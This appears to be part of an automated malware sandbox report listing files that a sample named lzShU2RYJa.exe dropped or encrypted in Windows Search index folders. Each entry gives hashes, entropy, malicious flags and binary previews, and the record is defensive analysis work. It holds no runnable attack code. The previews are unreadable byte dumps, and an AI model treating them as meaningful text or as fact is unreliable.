Preview:	.........mRZ..A#.i.D..I_.Wi.S.W.(3.....>o..xe...E.e....\|..$iy.Z.6.....~.Js'O:......u..k.Z.\!~kyz......%1..3..u.Q....G.P... .1.<...!"<T..... ......Q..^Q.9...(.e.......O.3....+..&O.....6.!....B.\|.5...e..X.!BQC.......A....p..o..j..!._..nQ.QeY.C....?i.d3...x.S..Qs.:.x..,.F."..E/..U.=. ..P'.T.M.@M..D.]lt.K.....A......&.kE....}F.nN..@....IV.x/8.\[.v`yT8.es.......M...7./5......y8w.S.n..9.....d...k.pu.....y..?.AK.>.........s..:.....%.(.e.o.V}..7........@7..HA../........yua....}..tr5.\...GsoP.....&..5h.D#...`V..&.]./o...z......W.=QU.KN..;.....)..%x.g.mY8..u.Q.1..L.c..aL..3.A....r.9..IU .]..gQgN[{..".s.J....L.....&........[\...s.k.......QQr...W..R.mP..]3V.'B.[.u...Y....I.-;.2.WL.I....Cw....d...8-7r.......@Kum-..d?...zTY.......]..e......dh....si^.}.'..D...d..ED....F.i..J..s_1..?....e...:.......;I.C1.Jw.......~6&\|.?rx.q...tJ.V.j I`I.~.....ukY.....'..At..q\:.Bx.tH..7.^G. ...J...OU./5Q....G...>.uZ.z.i..q.M.qw......h.~D.":.H.B.,H..1.W.x..b.GjEw

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.541504619240448
Encrypted:	false
SSDEEP:	24576:q64xoGYfoyFxz8GfoLr7YfoyFxz8GHxUMH:q67f1xz8GfMwf1xz8GR7
MD5:	CB5A5F13E829C36824D156CB9F43500F
SHA1:	4E86BC0DF4B1353D0FAE39829FCD87DEC7E888F1
SHA-256:	912C9D52D628FBF86B50B3F110DF83A3858E05A7113A15ED7D78E1262C758923
SHA-512:	75A210892D0736E5D1C8E008FCE22A7114C987231DF581F0014F7FB20E00F4814359BFD0DE9281962B7E052AD296FED37197526DDD2040663A03339555C53B96
Malicious:	false
Preview:	Ej..DW....{6:.z....p........\|iF...,G.'.......B.)....Xgm..I.....\g`.\}8.[Y..,......'V.,>...NlN...O=nK...F3.g>d".}N...8...f..G.oC...%...63X.....p"........z.o..1......J.tpq..1O}...H..%..O..Y..X..IsP.....y.....0v...mu....._V$D..o...!.i..,nbp......s.dss....C.U=..._...J...+X.9 ........H.f....H`?W.b..(.q.c...huPY..#.....3.R..8...\.).!v4....]6.e.L.A...G..f.W.x....A..Bt..1..k.....2$.J.Y....J.......Gy.D..(......f....]....mY.,Ir..(8:...$}.M[..p...o...._~...)'...?...t.YY}/.;..%oL.4......V?2.3.M....9...-A.y]}3%E........CF...6.H.G...gW....WmoB..6#\|.P.}F....? k5.q.ZF......C....hq.#.!']..{.:.2.Z...i.1.4@Go..1.W.x.Y..oS[..U].gp.I.../..si}.}&q..........j2...]...3....H.J.h......=......"`S1.^b(3...-f....N...d../...fZ..^.....2...C.%..C..Zus...6,2_..f...8R.....%..a(.X.;.WnD.......{Ar..DEn....$.......O.0H..Pj..}.h....eT.U......n7.P.)~.G.0t.NTu.j4.o.....p...H.+...l7I....f.......6.. .w)..<.....KE...oO..n}...s..E....%.1.....N........_..I..Q.E3m...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{afd7447d-251c-4f2e-8098-c7f03e349264}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994546012420652
Encrypted:	true
SSDEEP:	768:+Z1jeEGNcExhGK863YYLVJ8Od1yUuYt/meBPyPNXoWxE64sVSIK2XgbeCMq:y1jQcExhGGYYr88yUu4BPylYWxZ4K3KZ
MD5:	B5CD3FFC79CD8388BFE408C4D872DE8B
SHA1:	5234F4361F4879D20041E43F296FB976A85043D4
SHA-256:	CAD7DE2EA401759F7DA137BCB9E006F597D58168E7646CEB1F1A1DC95B235ED9
SHA-512:	32EB630D6985B21565FA58685F9C6386C69DF229D55AF19E11F966149E44E38F5F72B9877801E378A5F256E60ECA6D690C207AF6ADF296F2CB282F75A7F62D48
Malicious:	true
Preview:	0.0..wS...[-5;.S.....1F...N...`h.U...X.ZS.r]..9.<.!.&pUw\|lh....0..c.4...yn....D...\..n.}M...,1.1s...n.....6._..w..B5.7..u......y..5.NGO.......E.......,Q..E/..8ut.....c....p."=.[...6tl..`S:.....0...="...Vy=ka.d.'..l..\O.$..eY..h.8...`...;"Z.Sk.?R+.r....l.C..p.m..l.c..J.qj.P.fdL.u.en.{.z.....Jf..=..sR.#...}?0.2]j.......".s..f.....H.+..`...{(...k".i...E.:.;.gy..}.%.A..Y....!7.@...L.T.]G_.........BSR.n.w.l,................=g&Cg$~....J......g....<p..)8..XLMZ-hxq8.....>R...`..+..h...N....._..E....M..#.......:........]n3...L.>....j.7...#..}..a.. .!^$.(..%.&^.!)...<D.G<..q...'&.......t.<.e...j.z"1..Le.....b'dV..m!".}BR......~.E.2..][..B........r.N.....C..2T.......k....ZP\6.........b.C".nR..+JF....Vl.7U.".+25z.).M...1W..f.r.7..S..S.....W.?....Z.&.w..qp.+8.=.9.2Sf.4.s.<...L1,@....tU.;@....B..f.h-.;/..,..CLP.S..b..`].4..'. ...9P5....w...}AvP..#..Q.<HL0....h8~.(.Y...A....k.:&.d...T.B.)......X...S..M./.X.QQ....R3#...q.L&A...tj.i.W...=..6l]L.f.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{afd7447d-251c-4f2e-8098-c7f03e349264}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.9963410756292035
Encrypted:	true
SSDEEP:	1536:ajMVrQ2tM0ofdOFEDaCGWhQIK/lLC9Lvbxm+8CwU:TS6oViEDaTnC9g+bwU
MD5:	6B837013F2604FF62F43E79F4BEAA3B0
SHA1:	411C2DE652C8871CC00D7EDC0459411F18F4DB6B
SHA-256:	87BB783FB19455157D972F5DCAF575A1B62117D34E5A7EEB1529A41C9BC1FABA
SHA-512:	4A6B2072AC197C2F71C5DF0803B06A220F7130D64A10B377AC2D48813A724B5DE947269F175D702DF6DD9A06524C608A8E1B11DB357311208A5ADE9C1F0CBAC1
Malicious:	true
Preview:	......4\|u..--.\|..^=...).....>.'.`...j.OF......:.....p9;UmX...z..t.O...f..+>`M...)...!S. .f).......+1E.._..'U<d..b.mEc.........t....'...@.........2..\..-...K.....OD'Rr..r.........2y.q.'?..T8L.`..@V.@)..F].z...?.........k...X.....n:.Gn..c.......o..._M.O..Tf...f. ..:)...)(..g..q....+....91e.s...>z.AI...c.O.....~oJ7..0rF.u...Z..$..P......7.g$'....3.@.,.....d..V....\..z.~4t.. ..sm...e....x...F..H....F6.p.....`.M...7er..w.(z..t...J5...e.E."..ec...\..+.eEr.(....~.....K..........p..6S!.q.$...(.........t.<...:.r..S6...fb1.ZX^.~...........^c.7U.xe.J......;..uB.6c{A_....No~/.%S..jp......Qh.......R...@+..xq.n..V..ALH.].FR..w....m..........m.y...e+=.G.3.q...t\...D=........B.S...L*..Qnm.n.......f.`ikD..d..b49j.w.'...4.....{/[[.^..U......;7.(. .q.l....zX.e......?.g.sUXQP[.w..TZ .Q\.h..n....C&Dc...H./...<{f...I?>....L6.O......se.F=Me. @.....H.].s.dW^.8......Y..-...P.....K[..D.Z....=......E.........c.....)r9.....p^.o..s..Na.IF.9..T...@.p..g\.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{afd7447d-251c-4f2e-8098-c7f03e349264}\Apps.index

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542881973343217
Encrypted:	false
SSDEEP:	24576:Uwj+PefUYfoyFxz8GfoLr7YfoyFxz8G21itn:Uwj+Pe/f1xz8GfMwf1xz8G2C
MD5:	783C030A1314D6C228881B50DDF64855
SHA1:	380742DEC060A3DF4FD97C9157DEEF5EDE8853A5
SHA-256:	606650C15729E36B1CB90085044B5DE3EB1E1BF0A3E00D52DF33899F580E1783
SHA-512:	57100DD31997F63F447CF07A563AAA3D425FB8D6ACB3A01E4A6C1AC440FFB228E89C021EB1EA7715B47C8ABFD7FC384E153854F21B3ABE1204B42265BD79E505
Malicious:	false
Preview:	Ej..D.Tq.F.\|q.p.ry..`..3Oc..R..,.K...yW............0U.c.4...?]....o.F.sF.......gm.hv....x..Mm.(.O..1......U,../..~.j.......ke.R...-9.>...xR.U....>.Y.7j.d...t.IU...:...s........JwZ.}c.)....k.8...A.<..91.R....^......o......t....4 ...>H....O.3.S.U.../..c.~.\<.LZ..ma.....0!x..N.9.w.h.fa.Z.^.....=..R.._.M.Q:7..w...6........7t.i....L...^0$.z..._....H......`:..G.GTTN...:.C.Q.c~5%._.7.......>..6..Qm../..-Q..BZ.....;"....}..y....:x#..~...(.u.v.p/.]..7.q..Pg...t...H.......Q.f...).9..i...8b....L.b.N..E..'>bs.D.y...}S..H.0 0.J,F.-5.{...r.....;.D..1v...dq.....,?..j..2\zm.t..a7l..._ ......h..d.~...$.UiVw..mu.......$..i<..qA..t/u...k_>d........."......k.. .2...[...g....o....E6n.2...+...&....L'....lra......%.B3.vu..9.....A.R....D...=.......x..'-..Z&...g.RL.@u....Q.{.v&....HS.X !....../v{r.....bV.k........,.G^.r@....QU.CN#.1.#.S-.O...}X..I..oUA....."e9M). .E.n...u._T*.]..9%-4,.S?..n..Jq......`.4S=.$-...S;..o.\|f>... .j5`....~J..../l.%.[1..5t...%['.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c30d9863-e472-42e6-befb-171165e19517}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.995001652915538
Encrypted:	true
SSDEEP:	768:v7yXH9nfD1XYR0W3w16VSeUdt3noFzH/iIOtHCsyCd9r:DSLKRw6V7Udt3o9H/N+HH
MD5:	D503FB3655ECB153AFA063865CDA8863
SHA1:	DCB50F026A71E1802121F0C97C06167364EC0037
SHA-256:	F4E58759EFDDA58053B4DFB21BC60E52E14025615A4AFB27D04D2C5E20ECE77C
SHA-512:	55C3EDD397B32665B1CCC0033BAE838B92B40F3EBFB4EDCAF4AB17AE374A5DAF645FA52B1A5CC3476FAE87C0642715D658D2491298A87D0AF3E412518FDD993D
Malicious:	true
Preview:	0.0...sEN..6..y.r....5.....i..R.(92.r.7....0.....".Dkg#..=.....8..=+NE2....8U5\|l..k...9....g..:...Es...nP...zZ(.CK....S=...!.E]>...I>P..rtd}.C....7=o.-.R-.9.-s.1....L...y.fG....G...[._X.6A.F...{..\|h.(=..:..2...b.....h...M..A.lk..........K.1J..$..w+......7:.R.}.....j9\|+I.)...d.O"..D."v..r.>.........[..zH4<.f.Ia$......k....Ww{.{pZ<W......3.)A.w.+...A.C.>..p.w.+.$..M.FG^m)`.7......=>I'.Bo.=......4...(..F9...a......d(.[.TPK.X..&)a..<..+.w..DbD.I..yZ.^o..".A?.g.)Y.%.lF..0U.....L.x..4.d...H....v.%.%.......a?..o.........'h.\|.`6.....M...y..).(.PD..w.........%q...o..'.F.r..La.._lz.M...O.MhO...1.J#.eD.;4.=q..mxB..D.G..s{....S...q.\i.z...&.5...q.......~.."....A.d}&.IW..........k8y..$,}............W...."`.cm.g...unu.%t.!O..1)MY......i=..z........~t.....[7K.Fki8hv...z......R5cf.\|..25........yw....=...9.\|..J7.iB....3..`....V..m5x\|[~g.....6..!...0./:...;a.....?.H......9.s@m.*.r.v,D.n.w....o.eu.S[...<....`..".T....X...&.$.Z......%

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c30d9863-e472-42e6-befb-171165e19517}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.9959614000084995
Encrypted:	true
SSDEEP:	768:1Rhn0qPIupEaw5blgRugohYVCi3vsHUIjciDpfKgwTl08Xn+IijYjWKMrurecUgW:1Rh0qwyiBgMCX0HUePVK6e8vureHfv
MD5:	0A04D408C511547ED6ADD25F2E247737
SHA1:	A1DB571A791211BE2511769B1D0A3F4CDFA5BFDD
SHA-256:	5CA95A0B818D427685E19EF7CFB91A9765B3D7F8EE91C7E4E00771522207D73B
SHA-512:	328E7E7914EF7861165F24D2230FDB45EE267E9A8A98145220117ACB37FA2056F106C8868346BBB5926AD004B8461FF58F2E73BDE31E01D8FF10347EC75FA21B
Malicious:	true
Preview:	.....3......a.XX..A..+...`..r.R...-f..q..,...>&..E,.P2....\|J...}dr^....Ry......P.PQz9..7" ....Y..SD...=r.@T.;...D..3BW........2W&...A...U....'.@....C......@y{.r..f.;.n...9.".`.h.[aB~`....$.}.+.k.yL.b......`....b..19...<.."....S.....V.(r.+a;.l..qW.,.5./<...}..9..E.w.G.....O....V..R.RmE...N.S;.,.Md........X$.+...K/....g...~.W..g.g.......w.....kb.3..4.^.....n.pl.k.a..W....;....#M...3.....`p~.iN...J.-nD?\.U..&...l%...=.X,......z\.Jvk2...J.N'.....r..$.....\|..."...6.../P.+...Q7V..7.A....r"...Z.L..e..:.&(...B.vX...(k{;2..\.....e@\|&.:o.#.\|,..hx...e$AJ.T..`F...A..loz.#.]..N/Ta...cW_..V.}....E._..7.9x.F$k_...9..OA.Rg..%.....lJL!..?{"Cx..h..U<..3uX.......n.y.:y..B.=f!I..A0..^......H...@.n..i.[.......)..9\|v..l.:.h.....J.....].........(..X....aE.......o.]..J..].r.....U..X...5R....t...S%..T.8.r.O.....F[..X......e......4..q...nl4."N......1+.=n..u.V.@....82E. '...).3..h.....a...G.7........[.=.L..P...NZ..9w.9H.].+....stO3.[.y\s...M.(..=.M../.$...B..kV

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c30d9863-e472-42e6-befb-171165e19517}\Apps.index

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542537235941352
Encrypted:	false
SSDEEP:	24576:kI/9reYfoyFxz8GfoLr7YfoyFxz8G21itl:kI/NFf1xz8GfMwf1xz8G2A
MD5:	22C20C9D85FF4B2DE3A08C8DB5FA5EE8
SHA1:	83B8269A4100B6059B2A495A88F099E81E0E08E2
SHA-256:	3E7D171BFEE79F23C1EFC7E3543D0806E69B39AF2AC4F5F2E8A1ED66E3C1BF7D
SHA-512:	0F94512D0D63309C911CC63BBB291CE8512E3D0F42B610EE36CECA6EA2B6607833CEFCB206667AAE61AFBBE2C176C78F590FC658A894CAAD2244CC8913BF8C31
Malicious:	false
Preview:	Ej..D.m0....._Ze#....f..q..7.{....7..[..1.dh+k3..A.3........ .bJ.=.h.+.`....A~W@<.+......yQ...m; ...EfG.$....l#t..k<D.3c........].[..@...nl.G......FzX.x.. g..7.G.J.`19s..F.i.....p....".mIY..@<!......7...2....\]8...U...3J...`.?.7....Q.n..H...].'..'.(E..7...b...:.'.;~d.@/..._.<.D.T..+...>.....Y......y...j....%8...9Lg].ju.....~~p.Q..4..#x.e...J..&=xW...1N......>... 0..?..N.....r.*...Rx....G...z...P.Rw>I-[.NR.l...!Xo,c...%. .3.;,.#......;....................3@...........,...tlq.-+;#I.@...x.]...(..=[q,.....k....n.S..].Y4._..'......wAQ.\..{.oe...k...\|9.8?Co.f....%. l..(.G........8..z.}...r.Q+..x~.8.#nh..%..../..?W..{...P$.Z.V~.M....JD.k./......\P........7...3...._b.FVNG...@.....@@i.d3......:...J...M).h....\....X.......].P2..)...J...7.P...>...a'....#...PL.@.U.<.$.....$.. #..aR4I+sm....i\|......7jm7$3..^iW?.n.#....u;h.......`....."#........3.....u.#......fs1xQ....3.x..xV.........X?.5l.Z.T.~.'..r.dW..P@lS.y.D.^t..g..I.Tx..ji.z4q.?e...sd.!.r.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.698560007474889
Encrypted:	false
SSDEEP:	12:wx12pgHrHh85bayQdJ1tluhw34EESheSWoCTsrkxvHpnuqtSBRXqy1Xd1YqjVciD:wx5rW5bUbtsKHRpCAavHftAZ1XIgVbD
MD5:	AA6A09DBD5C4E4BB8373F567DE604E29
SHA1:	EB289639C348026C21CECDB4F563259CCEB13B67
SHA-256:	952020A63FE2F00C9415E804DC87ED61AAA7BF9542BFE45B6D87C66C23175A21
SHA-512:	44FF4019F16E5387A391C917694A3D7DE7A3BFD968A20A1B0AA3D52EE833FD9D4667068A9A4591194A51BC79D53C0B612D743761C88B6E9F19C88547BEFF6A1D
Malicious:	false
Preview:	.....Z.S.5.....R._.KJ..&zN.Kw....>....?......\|;_).(#...5q]E..u............5ia.,.+Q.~.(.1....}..e.#.$.....d...5.......Qls.....'..._..'...9;.....{.W...}......+..t.w!Na?"..:..,R.~w.H<W$..(}..s.3.....=...Ab..'X....$Y(.a.E...c~.[..&..x.U.*..1.t0....26...w....mr...S.;.N.\.p.Irv...;...+IZ....i..;.{.it....8o..=.Wzd..r.:..f. ..te0..../......Z.ZFm$....C.12..9o.b...W7p..7N.0....KA.m$._y5..V<.'.3E.......;....4..)>....`.f9{..(..I......u...O....n..Z.{...O...@...5...JY...S\...y_+.....s..%...25.ing\...M^.Q.......F....Nh.V.....EC....N..S.......I3+...MD.I1S.=."A....8r..hT....;...`.......U~...U.F.b....y...w.3_....`)ob\t.$..l.....m.\|.c..:..P.....~$.?>.s......cIN.O...}..N%itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.462049727630156
Encrypted:	false
SSDEEP:	12:jBlpTFfiWnw4mBvWGWtOEOlX+LHRynqIlGH8vok7mTQejVcii9a:jBrT6EGWtVOlXOUq2Gcvp7HcVbD
MD5:	7410C128A84B17A272DA9F15A0FA3C87
SHA1:	FEC6557C04BAFB8D95B95BBFED4F39F8983FF46A
SHA-256:	58C7FC8B771640474C11F78A2E2E5919789CD91C363DBFF3FBF80082291E47CF
SHA-512:	5C7211240C5CFD91FB73106A4541733AFDF5DA197669E9A84BFBFFC38D08DE78122DB9F306AF8F1D83BA7DE6037E37A6228E3AB83109D53BAF16D345A85E0833
Malicious:	false
Preview:	Windo.5.........b&..g...f..I..vM...H.-.!.IG.bvtjV:(0@...%...5nan]$..n../..rD.....0.b....9...../...r..+..cQ.@.cCzfq#.n.........[.........:..".3."........G,...AC.....T2K.~E.PPv.Kv@..L.B...g\|.#....W..&E..t....<qs...QJi..G%C.. .t....6..<.]2..}..(.[..m.YX:j......0......S..~.....6..g...E.2>.F.Xj.x`H.4....b88.]Z..y..f..>.:e .4-].G.G...rGY97........7.....G..........E&..V-.>.......nzitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.41577007568439
Encrypted:	false
SSDEEP:	24576:8O+U5Mjdr9yEKzC79ufKZDXkmn63mlDEyjM7:8+MVD4T
MD5:	6C820168F567EDB06D14769BEC5140E6
SHA1:	C62598E98C31F8C6E9B84DEEFFBF7A987AA61FB8
SHA-256:	C74F215ED5ABA69609D9CC06507BFB47122E39D764219B8AFEFBC5EDD3962316
SHA-512:	35025AB3A85E7354472C513968DAE131A96D74B6E54DC92C81727AB43B34219A5538F8F8FBCD7865223D031BE218090A4C34C578DD68564B0CD40871E90A31B1
Malicious:	false
Preview:	marke.^.mR.Q.v..W.Oi...i.....@......T.......t.....V....-#..8..u4..T.O.j...]....}...JC.x.n.Jr..../.Y..[..\|U.eT.ES.{..z.k..... ..h.....L.x...+......!....h=..M..s=u..s<r2./U...7.ZZ.:..~G.u.......8.i[..3.D.>........4...&..-.^.......t..L.....n...b ...H....7Q.DqG..z<9.....@F..]8.>...I.K.x.....G..j..E.sfM..<2.-&`qW...'.._}I...&..&.c.....e\.~.nQy...b........E..if.f.......I....f+..lNc.R.^..69...c....7..'.....n..p..X.9.[;x..4.=.....cr........E......O.5.l.-.F.Jf.e....auK.=S\|w..C fW.q(6..)_{.no...G.....C=...h3.>..IB.-@.l.aM^.E..{..o.b..O.l_......&...5.X2.yd...li.6xzV0.e..g.............P.l...r@>...Q..!..wd....c..H..N.7N.X..%.H.l..S...I.Wj....24:m..D......ZQ7..\.:......q........F..^.A.+.4&..90.~.t.....j..-..R..+>K..BhD..Wj.y;.AR.@Y\.H..S6.g..7.)..n..e.>.<... .........\|.......7..O.]>....jUk..y%a\|.....e.RdO.wYG.....g.........G..PF...ju.....N.h\|.b2..@K.D$c5..s.$.....A....1^e.B. h.X.-].H9..B..z.RK]......<O.v._@.+:.....^.....?....LYQ..~.wI..@...........f9.....0..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.22803332627928
Encrypted:	false
SSDEEP:	6144:kegI01NNmtqXQlTs6Daam5AyL6ukYXG1YL6hB5PsqCfz:YNs4vTxMmqiz
MD5:	13BD26F4C547AC5796A8BBCA2126A9DC
SHA1:	7281D8C6229D2CAD774D6318FC1CA739DDD6D452
SHA-256:	D74663CA4A300EFD45B293099B91690C90845EB913D3743AFE28A5512F791F5E
SHA-512:	122B48609658BF66F20C76A5E84AED7B84F24749B10304897B51B0620A449ED63C78E6246B121E3A71C5DC99DA043849D72586B951CB345DE1DEF7052A52677A
Malicious:	true
Preview:	{1AC1.....I.Q#..\...nS....W..H..M.H.h..7.3..c..(i7."O.C.....%y...>..:...$y,...;....3..8...R..c.Zf..........0......T!...j7.B....}..L.].OA...Z.{R......s.]..^.N.%%.h?.....wjQ..[_u@...W.c..oB..f...y#..6c.]......_.'..b...p..&......V.....u.}1..n.Z.rp..... .....S..C8...ml.+..rs9.....3!R.(.+.X.t.#..../.t..P.O/;$Pi...&....."..f2z..4vg.......~F4G..9tao(.Dj.C+.?r..S.I.t......\...<.z.3Xc.L..?23.U.7..6R....[Z..g.......l...\..8.cr../....f...n.Mk..'.Be$z..c.[jm....{........E&.........B..q...E.%.p,.b9.}Y..}F.4..QjA.g.~...\.S...s6....~.~8...$...&..]{....o.%t.mM.W.....X....'..OR.U.,.>3q.;.^..B....Bx.....q..!.4...1t.....Eb...f.!....Z..u....eZV.\|.<\|....Na...^a.W,.1.p.pT@.&....9...p.....x/..?3....K.....V.........z...\|.^^...69.....g.r..ur....\|.c....G~.x]Tb..N...z.GE..."M(3..,_..r..O0..[.V....E....!....W......l'.,h.[.39,....zq5.B...Q.....)..e..*Y.;[zm.......L7j..9Zm6.../t...-.~.{...}.a.3.u..+h.T.$).t..5.!...tT..pc........N.`..l.....\|r..\LK..U.......f.f..~%.Sk^

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.512663219545186
Encrypted:	false
SSDEEP:	6144:/YTeo2SxSH8FCBkeg9u5V5ddyqE3tCyXFePKo:/YTb2iSHoQ5nddy+y8
MD5:	AC22142B15B81B94FA07C77FF2963B81
SHA1:	81627EA6EF44207B01DC34223152F645CB2512E4
SHA-256:	8C4267629BB5420225DA5E60E03D0E5B209017CFF2AFAD572E3C0AED849D56C4
SHA-512:	5E736B552F073D8665A7092660C29D790E41C7D1BEE4485549E4A9F3B53FBB760934BEE609834DCA692F81340645911291C766235589EBA6D45269C80A183BA6
Malicious:	false
Preview:	\|.\|.v...o...\|....Z.P......d..)&....+y...[%L..m.m....{Y....`}.}...>.('xL...(`..">..Pj.XT..!"`x..K.......mC2....."...C.t2...."Iy.....+.uu....+....Q...&...bK..C.....SN...7.A>...~...7.....C.....\|.we...E\.#p.}..._...9.!..N....Ge...?.._...h..="..}...h..$..q.W.K`.W;.l..D........s...+..Qe.i.K%=....&eh..m."..?./.?x8... ....:!B...{.Ax.0>..........r.rA..Z..q..!2...._X\|.:.r.b?.}U..Z.4....m{.9..]HDb..\|.E.T......C.V.] ...e~1cw...<]...+:..n........O\|.9{`>...6...Z.....B...j..-S.a........un2.....2...@.r..9.p/.....br.x.......,t.G...T.w...XAJ.J.\|../. E....!+...3.@%G.....}C.....O.n.==...:.?.......]...i..+.J:.T.s.^..01x...r$....n..)Y........9N/...A.\.N.5:!...l.....$....res..m....W...y....N11.Ww...!3.]...i5,=b+..8(.p.........{;.m.....H@^..4Ro<..d3..6v,.S.-\...l._0.Z%L~3...\...u.l.}..V...H......\|v....n.......J.Y...M....) M...%.u..9.8.X.)(.;m..7.+.`......u.p.;........e....U...`.7).O(....~..(..^.iJ..\|;:.~..\|...G-.....#.CG.@....P..g..%.... .1...V.!...V...>%.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.692865783253492
Encrypted:	false
SSDEEP:	24:kBaglz032UtZrcIAGjuprhc/ExlkwfyItdVbD:0agOGiAG64v8fdFD
MD5:	C8161A4A61330895987E64C63092D71C
SHA1:	7A40E71B43FE9668ECA58735F90722D1386DC25A
SHA-256:	A8DF1247A536D5FDED7BFD9BA459AC44542763681FE602DCB391A2CF28DDF062
SHA-512:	0AF673FFF5B48BDC6A1872A17AFF5198441704B72D9B310040A446815E18914E4F217DCBD42CB84CF1DFB5712A076614FBFF0D6B37D14F82A343DC40A596128B
Malicious:	false
Preview:	.....6. ...x..J../...[....N..206.....ZI.............-.....'..../..H.}..d.Q......g.+<.V.....:w.....!.86...M.'.b......$.. .Y{4.)F,bg..(.!...W.O...l.A....D.H.'..{8B.....(.q..F.D....=.D.n........O...A.8.,...I......F..1.{.V.+...(..[.....d...-.OB..../..@..}lz..];.O!3..Q.Ce..;R..G.O.......M.g.x...V.{.x.%..}C.......[.....3.{..,../.Sm.z............5.=F...l.+Z`.:..[..B.......>b.Z.$....[........K..Vf.F.....;V.G6..Sh....v..4".....z..O.]..tj..+.G.Z.;..x....I9/.......U..7..-..Z.\|...)..Uh..d!.T.4...p.t....Xhz.o.......M......1.{.Z.r.y...R...i....8l.)2.H.t..v.5.nV.....S.g^.a:...=(U/)3.2...-..=.y......Vj..........;..>...<.2....Tw....g=......[.D....0...=w.....8..Y.s@.>...rP..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.511222353061304
Encrypted:	false
SSDEEP:	12:jBXNKHAH8D9V5bUhSYEya6kbtmt1NIKhtjVcii9a:jBdKXD9V5b0SYEyWAtVbD
MD5:	2F19DE663A383560F313299C9FBAC936
SHA1:	D4D83FB4E28B3C71AFD5ACAFFBD44FFB5F47BD1B
SHA-256:	88AD012879984F81427F86EB0707D69EB790AF09632B2203BA3DDCD3962D0EAC
SHA-512:	A6363CFDE98A78573400AC42FAE6BDC1F21EA73716568DD0C02E5EF0255A0396FD32B13E2E59A1655EB50A79592A59C8555BFB4819D74A4D8565AA2896A6302E
Malicious:	false
